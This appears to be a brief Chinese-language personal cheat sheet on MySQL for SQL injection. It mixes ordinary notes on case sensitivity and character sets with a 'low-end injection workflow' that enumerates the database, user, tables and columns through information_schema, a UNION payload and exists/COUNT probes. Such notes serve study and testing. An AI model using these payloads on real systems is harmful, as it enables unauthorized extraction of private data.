MySQL注入经常用到的
太久没玩这个,突然失忆
同理,开始随记,开始回忆
百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。
函数
user()
database()
updatexml()
extractvalue()
*extract 提取
变量
@@version
语句
exists
union
join
大小写敏感[Linux]
Database and table names are case sensitive
库名和表名大小写敏感
表的别名是严格区分大小写的
列名与列的别名在所有的情况下均是大小写不敏感
字段内容默认情况下是大小写不敏感的[ 具体看排序规则吧 ]
使用mysql 的BINARY
关键字使搜索区分大小写 select * from tb_user where BINARY username ='user';
char set 和 collation
字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ]
客户端乱码排错小思路
show variables like '%char%';
MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ]
mysql --default-character-set=utf8 -u root -p
查看数据库表的信息
show table status from information_schema like 'TABLES'; [大小写敏感]
show create database information_schema;
show create table test;
show full columns from table_name; ↑返回结果包括↓ [Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment]
低端注入流程
1. get库名,用户
select database()
select user()
2. get表名
select table_name from information_schema.tables where table_schema='table_name' #
3. get字段名
select column_name from information_schema.columns where table_name='table_name'
***** union (select table_name, column_name, 1 from information_schema.columns where table_name='secret_table');#
select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) #
select *** from *** where ****=** and exists ( select * from table_name ) #
4. 开搞
遇到纯数字的字段名记得用反单引号围起来[tab键上面]
select `1` from table_name;